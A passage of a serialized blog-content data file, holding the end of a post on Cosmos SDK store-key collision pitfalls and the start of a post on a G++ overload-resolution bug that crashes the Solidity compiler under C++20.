",{"type":23,"tag":55,"props":87889,"children":87892},{"href":87890,"rel":87891},"https://github.com/cosmos/cosmos-sdk/pull/9363",[59],[87893],{"type":29,"value":87894},"key collisions",{"type":29,"value":87896},". This prior oversight allowed developers to unintentionally create two ",{"type":23,"tag":38,"props":87898,"children":87900},{"className":87899},[],[87901],{"type":29,"value":87902},"KVStores",{"type":29,"value":87904}," that were not independent of each other.",{"type":23,"tag":32,"props":87906,"children":87907},{},[87908],{"type":23,"tag":55,"props":87909,"children":87912},{"href":87910,"rel":87911},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[59],[87913],{"type":29,"value":75224},{"type":23,"tag":131,"props":87915,"children":87917},{"code":87916,"language":74649,"meta":7,"className":74650,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n keys := make(map[string]*KVStoreKey)\n for _, name := range names {\n keys[name] = NewKVStoreKey(name)\n }\n\n return keys\n}\n",[87918],{"type":23,"tag":38,"props":87919,"children":87920},{"__ignoreMap":7},[87921,87983,88031,88067,88107,88114,88121,88133],{"type":23,"tag":141,"props":87922,"children":87923},{"class":143,"line":144},[87924,87928,87933,87937,87942,87946,87950,87954,87958,87962,87966,87970,87974,87979],{"type":23,"tag":141,"props":87925,"children":87926},{"style":449},[87927],{"type":29,"value":74785},{"type":23,"tag":141,"props":87929,"children":87930},{"style":184},[87931],{"type":29,"value":87932}," NewKVStoreKeys",{"type":23,"tag":141,"props":87934,"children":87935},{"style":154},[87936],{"type":29,"value":192},{"type":23,"tag":141,"props":87938,"children":87939},{"style":750},[87940],{"type":29,"value":87941},"names",{"type":23,"tag":141,"props":87943,"children":87944},{"style":160},[87945],{"type":29,"value":23983},{"type":23,"tag":141,"props":87947,"children":87948},{"style":725},[87949],{"type":29,"value":728},{"type":23,"tag":141,"props":87951,"children":87952},{"style":154},[87953],{"type":29,"value":1748},{"type":23,"tag":141,"props":87955,"children":87956},{"style":449},[87957],{"type":29,"value":65584},{"type":23,"tag":141,"props":87959,"children":87960},{"style":154},[87961],{"type":29,"value":2399},{"type":23,"tag":141,"props":87963,"children":87964},{"style":725},[87965],{"type":29,"value":728},{"type":23,"tag":141,"props":87967,"children":87968},{"style":154},[87969],{"type":29,"value":14088},{"type":23,"tag":141,"props":87971,"children":87972},{"style":160},[87973],{"type":29,"value":197},{"type":23,"tag":141,"props":87975,"children":87976},{"style":725},[87977],{"type":29,"value":87978},"KVStoreKey",{"type":23,"tag":141,"props":87980,"children":87981},{"style":154},[87982],{"type":29,"value":1951},{"type":23,"tag":141,"props":87984,"children":87985},{"class":143,"line":180},[87986,87991,87995,87999,88003,88007,88011,88015,88019,88023,88027],{"type":23,"tag":141,"props":87987,"children":87988},{"style":750},[87989],{"type":29,"value":87990}," keys",{"type":23,"tag":141,"props":87992,"children":87993},{"style":160},[87994],{"type":29,"value":74901},{"type":23,"tag":141,"props":87996,"children":87997},{"style":184},[87998],{"type":29,"value":84049},{"type":23,"tag":141,"props":88000,"children":88001},{"style":154},[88002],{"type":29,"value":192},{"type":23,"tag":141,"props":88004,"children":88005},{"style":449},[88006],{"type":29,"value":65584},{"type":23,"tag":141,"props":88008,"children":88009},{"style":154},[88010],{"type":29,"value":2399},{"type":23,"tag":141,"props":88012,"children":88013},{"style":725},[88014],{"type":29,"value":728},{"type":23,"tag":141,"props":88016,"children":88017},{"style":154},[88018],{"type":29,"value":14088},{"type":23,"tag":141,"props":88020,"children":88021},{"style":160},[88022],{"type":29,"value":197},{"type":23,"tag":141,"props":88024,"children":88025},{"style":725},[88026],{"type":29,"value":87978},{"type":23,"tag":141,"props":88028,"children":88029},{"style":154},[88030],{"type":29,"value":758},{"type":23,"tag":141,"props":88032,"children":88033},{"class":143,"line":205},[88034,88038,88042,88046,88050,88054,88058,88063],{"type":23,"tag":141,"props":88035,"children":88036},{"style":148},[88037],{"type":29,"value":1692},{"type":23,"tag":141,"props":88039,"children":88040},{"style":750},[88041],{"type":29,"value":1697},{"type":23,"tag":141,"props":88043,"children":88044},{"style":154},[88045],{"type":29,"value":480},{"type":23,"tag":141,"props":88047,"children":88048},{"style":750},[88049],{"type":29,"value":46976},{"type":23,"tag":141,"props":88051,"children":88052},{"style":160},[88053],{"type":29,"value":74901},{"type":23,"tag":141,"props":88055,"children":88056},{"style":148},[88057],{"type":29,"value":75884},{"type":23,"tag":141,"props":88059,"children":88060},{"style":750},[88061],{"type":29,"value":88062}," names",{"type":23,"tag":141,"props":88064,"children":88065},{"style":154},[88066],{"type":29,"value":1951},{"type":23,"tag":141,"props":88068,"children":88069},{"class":143,"line":218},[88070,88074,88078,88082,88086,88090,88095,88099,88103],{"type":23,"tag":141,"props":88071,"children":88072},{"style":750},[88073],{"type":29,"value":24015},{"type":23,"tag":141,"props":88075,"children":88076},{"style":154},[88077],{"type":29,"value":2399},{"type":23,"tag":141,"props":88079,"children":88080},{"style":750},[88081],{"type":29,"value":46976},{"type":23,"tag":141,"props":88083,"children":88084},{"style":154},[88085],{"type":29,"value":7337},{"type":23,"tag":141,"props":88087,"children":88088},{"style":160},[88089],{"type":29,"value":1377},{"type":23,"tag":141,"props":88091,"children":88092},{"style":184},[88093],{"type":29,"value":88094}," NewKVStoreKey",{"type":23,"tag":141,"props":88096,"children":88097},{"style":154},[88098],{"type":29,"value":192},{"type":23,"tag":141,"props":88100,"children":88101},{"style":750},[88102],{"type":29,"value":46976},{"type":23,"tag":141,"props":88104,"children":88105},{"style":154},[88106],{"type":29,"value":758},{"type":23,"tag":141,"props":88108,"children":88109},{"class":143,"line":227},[88110],{"type":23,"tag":141,"props":88111,"children":88112},{"style":154},[88113],{"type":29,"value":299},{"type":23,"tag":141,"props":88115,"children":88116},{"class":143,"line":241},[88117],{"type":23,"tag":141,"props":88118,"children":88119},{"emptyLinePlaceholder":15},[88120],{"type":29,"value":719},{"type":23,"tag":141,"props":88122,"children":88123},{"class":143,"line":262},[88124,88128],{"type":23,"tag":141,"props":88125,"children":88126},{"style":148},[88127],{"type":29,"value":15665},{"type":23,"tag":141,"props":88129,"children":88130},{"style":750},[88131],{"type":29,"value":88132}," keys\n",{"type":23,"tag":141,"props":88134,"children":88135},{"class":143,"line":271},[88136],{"type":23,"tag":141,"props":88137,"children":88138},{"style":154},[88139],{"type":29,"value":2573},{"type":23,"tag":32,"props":88141,"children":88142},{},[88143,88145,88150,88152,88157,88159,88164],{"type":29,"value":88144},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":23,"tag":38,"props":88146,"children":88148},{"className":88147},[],[88149],{"type":29,"value":76947},{"type":29,"value":88151}," will refuse to run if any ",{"type":23,"tag":38,"props":88153,"children":88155},{"className":88154},[],[88156],{"type":29,"value":83462},{"type":29,"value":88158}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":23,"tag":38,"props":88160,"children":88162},{"className":88161},[],[88163],{"type":29,"value":83462},{"type":29,"value":88165}," level.",{"type":23,"tag":32,"props":88167,"children":88168},{},[88169,88171,88178],{"type":29,"value":88170},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":23,"tag":55,"props":88172,"children":88175},{"href":88173,"rel":88174},"https://github.com/cosmos/cosmos-sdk/issues/12661",[59],[88176],{"type":29,"value":88177},"incorrect iterator behavior",{"type":29,"value":322},{"type":23,"tag":32,"props":88180,"children":88181},{},[88182,88184,88191],{"type":29,"value":88183},"Notably, gradual adoption of the ",{"type":23,"tag":55,"props":88185,"children":88188},{"href":88186,"rel":88187},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[59],[88189],{"type":29,"value":88190},"collections",{"type":29,"value":88192}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":23,"tag":24,"props":88194,"children":88195},{"id":27618},[88196],{"type":29,"value":17618},{"type":23,"tag":32,"props":88198,"children":88199},{},[88200],{"type":29,"value":88201},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":23,"tag":32,"props":88203,"children":88204},{},[88205],{"type":29,"value":88206},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":23,"tag":1508,"props":88208,"children":88209},{},[88210],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":88212},[88213,88214,88217,88220,88223,88226,88229,88232],{"id":26,"depth":180,"text":30},{"id":74366,"depth":180,"text":74369,"children":88215},[88216],{"id":75171,"depth":205,"text":75174},{"id":75767,"depth":180,"text":75770,"children":88218},[88219],{"id":76416,"depth":205,"text":75174},{"id":76913,"depth":180,"text":76916,"children":88221},[88222],{"id":78213,"depth":205,"text":75174},{"id":79557,"depth":180,"text":79560,"children":88224},[88225],{"id":80095,"depth":205,"text":75174},{"id":81614,"depth":180,"text":81617,"children":88227},[88228],{"id":82494,"depth":205,"text":75174},{"id":83448,"depth":180,"text":83451,"children":88230},[88231],{"id":87874,"depth":205,"text":75174},{"id":27618,"depth":180,"text":17618},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":88237,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":88238,"description":88239,"author":88240,"image":88241,"date":88243,"tags":88244,"isFeatured":15,"onBlogPage":15,"body":88245,"_type":1522,"_id":90954,"_source":1524,"_file":90955,"_stem":90956,"_extension":1527},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":88242,"height":13,"width":13},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[17,18],{"type":20,"children":88246,"toc":90938},[88247,88252,88389,88394,88399,88404,88409,88522,88527,88532,88537,88577,88590,88595,88613,88618,88621,88627,88641,88654,88659,88672,88677,88689,88702,88707,88710,88716,88722,88779,88784,88790,88804,88839,88847,88855,88875,88881,88886,89326,89334,89378,89383,89391,89399,89438,89443,89451,89456,89459,89465,89471,89496,89508,89535,89568,89573,89576,89582,89601,90119,90132,90150,90173,90184,90189,90292,90297,90302,90316,90321,90397,90415,90420,90423,90429,90441,90453,90793,90798,90816,90821,90824,90830,90835,90853,90873,90876,90882,90901,90904,90908,90913,90924,90929,90934],{"type":23,"tag":32,"props":88248,"children":88249},{},[88250],{"type":29,"value":88251},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":23,"tag":131,"props":88253,"children":88255},{"code":88254,"language":17,"meta":7,"className":432,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure returns (uint256) {\n return 1 ** 2;\n }\n}\n",[88256],{"type":23,"tag":38,"props":88257,"children":88258},{"__ignoreMap":7},[88259,88267,88285,88292,88309,88351,88375,88382],{"type":23,"tag":141,"props":88260,"children":88261},{"class":143,"line":144},[88262],{"type":23,"tag":141,"props":88263,"children":88264},{"style":443},[88265],{"type":29,"value":88266},"// SPDX-License-Identifier: UNLICENSED\n",{"type":23,"tag":141,"props":88268,"children":88269},{"class":143,"line":180},[88270,88275,88280],{"type":23,"tag":141,"props":88271,"children":88272},{"style":148},[88273],{"type":29,"value":88274},"pragma",{"type":23,"tag":141,"props":88276,"children":88277},{"style":449},[88278],{"type":29,"value":88279}," solidity",{"type":23,"tag":141,"props":88281,"children":88282},{"style":154},[88283],{"type":29,"value":88284}," ^0.8.25;\n",{"type":23,"tag":141,"props":88286,"children":88287},{"class":143,"line":205},[88288],{"type":23,"tag":141,"props":88289,"children":88290},{"emptyLinePlaceholder":15},[88291],{"type":29,"value":719},{"type":23,"tag":141,"props":88293,"children":88294},{"class":143,"line":218},[88295,88300,88305],{"type":23,"tag":141,"props":88296,"children":88297},{"style":449},[88298],{"type":29,"value":88299},"contract",{"type":23,"tag":141,"props":88301,"children":88302},{"style":725},[88303],{"type":29,"value":88304}," A",{"type":23,"tag":141,"props":88306,"children":88307},{"style":154},[88308],{"type":29,"value":1951},{"type":23,"tag":141,"props":88310,"children":88311},{"class":143,"line":227},[88312,88317,88322,88326,88330,88335,88339,88343,88347],{"type":23,"tag":141,"props":88313,"children":88314},{"style":449},[88315],{"type":29,"value":88316}," function",{"type":23,"tag":141,"props":88318,"children":88319},{"style":184},[88320],{"type":29,"value":88321}," a",{"type":23,"tag":141,"props":88323,"children":88324},{"style":154},[88325],{"type":29,"value":12720},{"type":23,"tag":141,"props":88327,"children":88328},{"style":449},[88329],{"type":29,"value":60156},{"type":23,"tag":141,"props":88331,"children":88332},{"style":449},[88333],{"type":29,"value":88334}," pure",{"type":23,"tag":141,"props":88336,"children":88337},{"style":148},[88338],{"type":29,"value":74478},{"type":23,"tag":141,"props":88340,"children":88341},{"style":154},[88342],{"type":29,"value":1220},{"type":23,"tag":141,"props":88344,"children":88345},{"style":725},[88346],{"type":29,"value":44645},{"type":23,"tag":141,"props":88348,"children":88349},{"style":154},[88350],{"type":29,"value":13480},{"type":23,"tag":141,"props":88352,"children":88353},{"class":143,"line":241},[88354,88358,88362,88367,88371],{"type":23,"tag":141,"props":88355,"children":88356},{"style":148},[88357],{"type":29,"value":14420},{"type":23,"tag":141,"props":88359,"children":88360},{"style":472},[88361],{"type":29,"value":3198},{"type":23,"tag":141,"props":88363,"children":88364},{"style":160},[88365],{"type":29,"value":88366}," **",{"type":23,"tag":141,"props":88368,"children":88369},{"style":472},[88370],{"type":29,"value":6609},{"type":23,"tag":141,"props":88372,"children":88373},{"style":154},[88374],{"type":29,"value":1684},{"type":23,"tag":141,"props":88376,"children":88377},{"class":143,"line":262},[88378],{"type":23,"tag":141,"props":88379,"children":88380},{"style":154},[88381],{"type":29,"value":299},{"type":23,"tag":141,"props":88383,"children":88384},{"class":143,"line":271},[88385],{"type":23,"tag":141,"props":88386,"children":88387},{"style":154},[88388],{"type":29,"value":2573},{"type":23,"tag":32,"props":88390,"children":88391},{},[88392],{"type":29,"value":88393},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":23,"tag":32,"props":88395,"children":88396},{},[88397],{"type":29,"value":88398},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":23,"tag":32,"props":88400,"children":88401},{},[88402],{"type":29,"value":88403},"And yet, it crashes.",{"type":23,"tag":32,"props":88405,"children":88406},{},[88407],{"type":29,"value":88408},"Another minimal example?",{"type":23,"tag":131,"props":88410,"children":88412},{"code":88411,"language":17,"meta":7,"className":432,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure {\n uint256[1] data;\n }\n}\n",[88413],{"type":23,"tag":38,"props":88414,"children":88415},{"__ignoreMap":7},[88416,88423,88438,88445,88460,88487,88508,88515],{"type":23,"tag":141,"props":88417,"children":88418},{"class":143,"line":144},[88419],{"type":23,"tag":141,"props":88420,"children":88421},{"style":443},[88422],{"type":29,"value":88266},{"type":23,"tag":141,"props":88424,"children":88425},{"class":143,"line":180},[88426,88430,88434],{"type":23,"tag":141,"props":88427,"children":88428},{"style":148},[88429],{"type":29,"value":88274},{"type":23,"tag":141,"props":88431,"children":88432},{"style":449},[88433],{"type":29,"value":88279},{"type":23,"tag":141,"props":88435,"children":88436},{"style":154},[88437],{"type":29,"value":88284},{"type":23,"tag":141,"props":88439,"children":88440},{"class":143,"line":205},[88441],{"type":23,"tag":141,"props":88442,"children":88443},{"emptyLinePlaceholder":15},[88444],{"type":29,"value":719},{"type":23,"tag":141,"props":88446,"children":88447},{"class":143,"line":218},[88448,88452,88456],{"type":23,"tag":141,"props":88449,"children":88450},{"style":449},[88451],{"type":29,"value":88299},{"type":23,"tag":141,"props":88453,"children":88454},{"style":725},[88455],{"type":29,"value":88304},{"type":23,"tag":141,"props":88457,"children":88458},{"style":154},[88459],{"type":29,"value":1951},{"type":23,"tag":141,"props":88461,"children":88462},{"class":143,"line":227},[88463,88467,88471,88475,88479,88483],{"type":23,"tag":141,"props":88464,"children":88465},{"style":449},[88466],{"type":29,"value":88316},{"type":23,"tag":141,"props":88468,"children":88469},{"style":184},[88470],{"type":29,"value":88321},{"type":23,"tag":141,"props":88472,"children":88473},{"style":154},[88474],{"type":29,"value":12720},{"type":23,"tag":141,"props":88476,"children":88477},{"style":449},[88478],{"type":29,"value":60156},{"type":23,"tag":141,"props":88480,"children":88481},{"style":449},[88482],{"type":29,"value":88334},{"type":23,"tag":141,"props":88484,"children":88485},{"style":154},[88486],{"type":29,"value":1951},{"type":23,"tag":141,"props":88488,"children":88489},{"class":143,"line":241},[88490,88495,88499,88503],{"type":23,"tag":141,"props":88491,"children":88492},{"style":725},[88493],{"type":29,"value":88494}," uint256",{"type":23,"tag":141,"props":88496,"children":88497},{"style":154},[88498],{"type":29,"value":2399},{"type":23,"tag":141,"props":88500,"children":88501},{"style":472},[88502],{"type":29,"value":687},{"type":23,"tag":141,"props":88504,"children":88505},{"style":154},[88506],{"type":29,"value":88507},"] data;\n",{"type":23,"tag":141,"props":88509,"children":88510},{"class":143,"line":262},[88511],{"type":23,"tag":141,"props":88512,"children":88513},{"style":154},[88514],{"type":29,"value":299},{"type":23,"tag":141,"props":88516,"children":88517},{"class":143,"line":271},[88518],{"type":23,"tag":141,"props":88519,"children":88520},{"style":154},[88521],{"type":29,"value":2573},{"type":23,"tag":32,"props":88523,"children":88524},{},[88525],{"type":29,"value":88526},"Still crashes.",{"type":23,"tag":32,"props":88528,"children":88529},{},[88530],{"type":29,"value":88531},"So what’s going on?",{"type":23,"tag":32,"props":88533,"children":88534},{},[88535],{"type":29,"value":88536},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":23,"tag":131,"props":88538,"children":88540},{"code":88539,"language":135,"meta":7,"className":133,"style":7},"if (*lengthValue == 0) { ... }\n",[88541],{"type":23,"tag":38,"props":88542,"children":88543},{"__ignoreMap":7},[88544],{"type":23,"tag":141,"props":88545,"children":88546},{"class":143,"line":144},[88547,88551,88555,88559,88564,88568,88572],{"type":23,"tag":141,"props":88548,"children":88549},{"style":148},[88550],{"type":29,"value":14255},{"type":23,"tag":141,"props":88552,"children":88553},{"style":154},[88554],{"type":29,"value":1220},{"type":23,"tag":141,"props":88556,"children":88557},{"style":160},[88558],{"type":29,"value":197},{"type":23,"tag":141,"props":88560,"children":88561},{"style":154},[88562],{"type":29,"value":88563},"lengthValue ",{"type":23,"tag":141,"props":88565,"children":88566},{"style":160},[88567],{"type":29,"value":7251},{"type":23,"tag":141,"props":88569,"children":88570},{"style":472},[88571],{"type":29,"value":1707},{"type":23,"tag":141,"props":88573,"children":88574},{"style":154},[88575],{"type":29,"value":88576},") { ... }\n",{"type":23,"tag":32,"props":88578,"children":88579},{},[88580,88582,88588],{"type":29,"value":88581},"That single comparison — a ",{"type":23,"tag":38,"props":88583,"children":88585},{"className":88584},[],[88586],{"type":29,"value":88587},"boost::rational",{"type":29,"value":88589}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":23,"tag":32,"props":88591,"children":88592},{},[88593],{"type":29,"value":88594},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":23,"tag":15362,"props":88596,"children":88597},{},[88598,88603,88608],{"type":23,"tag":120,"props":88599,"children":88600},{},[88601],{"type":29,"value":88602},"A 12-year-old overload resolution bug in G++",{"type":23,"tag":120,"props":88604,"children":88605},{},[88606],{"type":29,"value":88607},"An outdated symmetric comparison pattern in Boost",{"type":23,"tag":120,"props":88609,"children":88610},{},[88611],{"type":29,"value":88612},"A subtle but impactful rewrite rule in C++20",{"type":23,"tag":32,"props":88614,"children":88615},{},[88616],{"type":29,"value":88617},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":23,"tag":17463,"props":88619,"children":88620},{},[],{"type":23,"tag":24,"props":88622,"children":88624},{"id":88623},"background-the-setup",[88625],{"type":29,"value":88626},"Background: The Setup",{"type":23,"tag":32,"props":88628,"children":88629},{},[88630,88632,88639],{"type":29,"value":88631},"If you follow the ",{"type":23,"tag":55,"props":88633,"children":88636},{"href":88634,"rel":88635},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[59],[88637],{"type":29,"value":88638},"Solidity build documentation (v0.8.30)",{"type":29,"value":88640},", you'll see it recommends:",{"type":23,"tag":15362,"props":88642,"children":88643},{},[88644,88649],{"type":23,"tag":120,"props":88645,"children":88646},{},[88647],{"type":29,"value":88648},"Boost ≥ 1.67",{"type":23,"tag":120,"props":88650,"children":88651},{},[88652],{"type":29,"value":88653},"GCC ≥ 11",{"type":23,"tag":32,"props":88655,"children":88656},{},[88657],{"type":29,"value":88658},"Ubuntu 22.04, for example, ships with:",{"type":23,"tag":15362,"props":88660,"children":88661},{},[88662,88667],{"type":23,"tag":120,"props":88663,"children":88664},{},[88665],{"type":29,"value":88666},"G++ 11.4.0",{"type":23,"tag":120,"props":88668,"children":88669},{},[88670],{"type":29,"value":88671},"Boost 1.74.0",{"type":23,"tag":32,"props":88673,"children":88674},{},[88675],{"type":29,"value":88676},"So far, so good.",{"type":23,"tag":32,"props":88678,"children":88679},{},[88680,88682,88687],{"type":29,"value":88681},"However, Solidity enabled ",{"type":23,"tag":3998,"props":88683,"children":88684},{},[88685],{"type":29,"value":88686},"C++20",{"type":29,"value":88688}," in January 2025:",{"type":23,"tag":355,"props":88690,"children":88691},{},[88692],{"type":23,"tag":32,"props":88693,"children":88694},{},[88695],{"type":23,"tag":55,"props":88696,"children":88699},{"href":88697,"rel":88698},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[59],[88700],{"type":29,"value":88701},"Enable C++20 in Solidity",{"type":23,"tag":32,"props":88703,"children":88704},{},[88705],{"type":29,"value":88706},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":23,"tag":17463,"props":88708,"children":88709},{},[],{"type":23,"tag":24,"props":88711,"children":88713},{"id":88712},"part-i-a-12-year-old-g-bug-in-overload-resolution",[88714],{"type":29,"value":88715},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":23,"tag":8287,"props":88717,"children":88719},{"id":88718},"whats-overload-resolution",[88720],{"type":29,"value":88721},"What’s Overload Resolution?",{"type":23,"tag":32,"props":88723,"children":88724},{},[88725,88727,88733,88735,88741,88743,88748,88750,88755,88757,88763,88765,88770,88771,88777],{"type":29,"value":88726},"In C++, when you write an expression like ",{"type":23,"tag":38,"props":88728,"children":88730},{"className":88729},[],[88731],{"type":29,"value":88732},"a == b",{"type":29,"value":88734},", the compiler chooses among available ",{"type":23,"tag":38,"props":88736,"children":88738},{"className":88737},[],[88739],{"type":29,"value":88740},"operator==",{"type":29,"value":88742}," implementations by comparing their ",{"type":23,"tag":3998,"props":88744,"children":88745},{},[88746],{"type":29,"value":88747},"match quality",{"type":29,"value":88749},". A ",{"type":23,"tag":3998,"props":88751,"children":88752},{},[88753],{"type":29,"value":88754},"member function",{"type":29,"value":88756}," like ",{"type":23,"tag":38,"props":88758,"children":88760},{"className":88759},[],[88761],{"type":29,"value":88762},"a.operator==(b)",{"type":29,"value":88764}," usually has higher priority than a ",{"type":23,"tag":3998,"props":88766,"children":88767},{},[88768],{"type":29,"value":88769},"non-member function",{"type":29,"value":88756},{"type":23,"tag":38,"props":88772,"children":88774},{"className":88773},[],[88775],{"type":29,"value":88776},"operator==(a, b)",{"type":29,"value":88778}," — unless the types differ too much or are ambiguous.",{"type":23,"tag":32,"props":88780,"children":88781},{},[88782],{"type":29,"value":88783},"That’s the rule. But G++ didn’t always follow it.",{"type":23,"tag":8287,"props":88785,"children":88787},{"id":88786},"the-bug",[88788],{"type":29,"value":88789},"The Bug",{"type":23,"tag":32,"props":88791,"children":88792},{},[88793,88795,88802],{"type":29,"value":88794},"In 2012, a bug was filed: ",{"type":23,"tag":55,"props":88796,"children":88799},{"href":88797,"rel":88798},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[59],[88800],{"type":29,"value":88801},"GCC Bug 53499 – overload resolution favors non-member function",{"type":29,"value":88803},". The issue? In expressions where:",{"type":23,"tag":15362,"props":88805,"children":88806},{},[88807,88827],{"type":23,"tag":120,"props":88808,"children":88809},{},[88810,88812,88818,88820,88825],{"type":29,"value":88811},"A class ",{"type":23,"tag":38,"props":88813,"children":88815},{"className":88814},[],[88816],{"type":29,"value":88817},"rational\u003CT>",{"type":29,"value":88819}," has a templated ",{"type":23,"tag":38,"props":88821,"children":88823},{"className":88822},[],[88824],{"type":29,"value":88740},{"type":29,"value":88826}," member function",{"type":23,"tag":120,"props":88828,"children":88829},{},[88830,88832,88838],{"type":29,"value":88831},"There's also a more generic free ",{"type":23,"tag":38,"props":88833,"children":88835},{"className":88834},[],[88836],{"type":29,"value":88837},"operator==(rational\u003CT>, U)",{"type":29,"value":36685},{"type":23,"tag":32,"props":88840,"children":88841},{},[88842],{"type":23,"tag":3998,"props":88843,"children":88844},{},[88845],{"type":29,"value":88846},"Clang correctly chooses the member function.",{"type":23,"tag":32,"props":88848,"children":88849},{},[88850],{"type":23,"tag":3998,"props":88851,"children":88852},{},[88853],{"type":29,"value":88854},"G++ (before v14) chooses the non-member function.",{"type":23,"tag":32,"props":88856,"children":88857},{},[88858,88860,88865,88867,88874],{"type":29,"value":88859},"Why? Because G++ mishandles ",{"type":23,"tag":3998,"props":88861,"children":88862},{},[88863],{"type":29,"value":88864},"templated conversion + non-exact match",{"type":29,"value":88866},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":23,"tag":55,"props":88868,"children":88871},{"href":88869,"rel":88870},"https://cplusplus.github.io/CWG/issues/532.html",[59],[88872],{"type":29,"value":88873},"CWG532: Member/nonmember operator template partial ordering",{"type":29,"value":322},{"type":23,"tag":8287,"props":88876,"children":88878},{"id":88877},"a-minimal-reproducer",[88879],{"type":29,"value":88880},"A Minimal Reproducer",{"type":23,"tag":32,"props":88882,"children":88883},{},[88884],{"type":29,"value":88885},"Let’s see this in action:",{"type":23,"tag":131,"props":88887,"children":88889},{"code":88888,"language":135,"meta":7,"className":133,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n template \u003Cclass T>\n bool operator==(const T& i) const {\n std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n return true;\n }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n return false;\n}\n\nint main() {\n rational\u003Cint> r;\n return r == 0;\n}\n",[88890],{"type":23,"tag":38,"props":88891,"children":88892},{"__ignoreMap":7},[88893,88906,88913,88938,88954,88962,88986,89031,89059,89074,89081,89088,89095,89131,89200,89225,89240,89247,89254,89270,89295,89319],{"type":23,"tag":141,"props":88894,"children":88895},{"class":143,"line":144},[88896,88901],{"type":23,"tag":141,"props":88897,"children":88898},{"style":148},[88899],{"type":29,"value":88900},"#include",{"type":23,"tag":141,"props":88902,"children":88903},{"style":828},[88904],{"type":29,"value":88905}," \u003Ciostream>\n",{"type":23,"tag":141,"props":88907,"children":88908},{"class":143,"line":180},[88909],{"type":23,"tag":141,"props":88910,"children":88911},{"emptyLinePlaceholder":15},[88912],{"type":29,"value":719},{"type":23,"tag":141,"props":88914,"children":88915},{"class":143,"line":205},[88916,88920,88924,88929,88934],{"type":23,"tag":141,"props":88917,"children":88918},{"style":449},[88919],{"type":29,"value":64698},{"type":23,"tag":141,"props":88921,"children":88922},{"style":154},[88923],{"type":29,"value":7395},{"type":23,"tag":141,"props":88925,"children":88926},{"style":449},[88927],{"type":29,"value":88928},"typename",{"type":23,"tag":141,"props":88930,"children":88931},{"style":725},[88932],{"type":29,"value":88933}," IntType",{"type":23,"tag":141,"props":88935,"children":88936},{"style":154},[88937],{"type":29,"value":4666},{"type":23,"tag":141,"props":88939,"children":88940},{"class":143,"line":218},[88941,88945,88950],{"type":23,"tag":141,"props":88942,"children":88943},{"style":449},[88944],{"type":29,"value":68893},{"type":23,"tag":141,"props":88946,"children":88947},{"style":725},[88948],{"type":29,"value":88949}," rational",{"type":23,"tag":141,"props":88951,"children":88952},{"style":154},[88953],{"type":29,"value":1951},{"type":23,"tag":141,"props":88955,"children":88956},{"class":143,"line":227},[88957],{"type":23,"tag":141,"props":88958,"children":88959},{"style":449},[88960],{"type":29,"value":88961},"public:\n",{"type":23,"tag":141,"props":88963,"children":88964},{"class":143,"line":241},[88965,88970,88974,88978,88982],{"type":23,"tag":141,"props":88966,"children":88967},{"style":449},[88968],{"type":29,"value":88969}," 